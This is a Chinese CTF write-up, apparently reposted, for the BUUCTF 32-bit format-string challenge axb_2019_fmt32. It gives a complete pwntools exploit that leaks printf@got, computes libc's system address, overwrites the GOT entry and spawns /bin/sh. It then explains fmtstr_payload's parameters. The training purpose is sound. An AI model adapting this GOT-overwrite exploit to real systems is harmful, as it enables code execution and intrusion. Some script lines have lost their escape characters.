CTF学习-PWN-格式化字符串2

题目

平台:BUUCTF

题目:axb_2019_fmt32

考点:32位格式化字符串泄露libc,fmtstr_payload覆盖printf@got

代码

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *

context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('node5.buuoj.cn'25273)
#p=process('./axb_2019_fmt32')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#p=gdb.debug('./axb_2019_fmt32','b *0x8048741')
elf = ELF('./axb_2019_fmt32')
libc=ELF('./libc-2.23.so')

printf_got = elf.got['printf']
payload=b'a'+p32(printf_got)+b'%8$s'
p.sendafter(b'me:',payload)
printf_addr = u32(p.recvuntil(b"xf7")[-4:])
success('printf addr: '+hex(printf_addr))

libc_base=printf_addr-libc.symbols['printf']
system=libc_base+libc.symbols['system']
success('system addr: '+hex(system))

payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
p.sendline(payload)

p.sendline(b';/bin/shx00')

p.interactive() 

分析

输入a占格子然后往栈上第8位丢printf_got,通过%s显示出其指针指向地址的内容(%p只能显示第8位上的内容)

泄露出printf_got实际地址的值后通过buu的libc计算出system的地址

然后使用fmtstr_payload生成payload,栈上开始泄露的位置是第8位,通过%nprintf@got的值替换成system在libc中的地址,使用byte格式进行hhn写,在执行printf前已经打印了10个字符(repeater:字符串加最开头添加的a字符),所以需要设置下numbwritten

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写

使用fmtstr_apyload一次改两个地方的值fmtstr_payload(6,{fini_arry:main_addr, printf_got:system_plt}),把printf_got地址(0x403810)中的7f开头的值改成system在libc中的7f那个值, 0x403810:0x7f9de9280ed0


原文始发于微信公众号(智佳网络安全):CTF学习-PWN-格式化字符串2

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300837.html

(0)
小半的头像小半

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!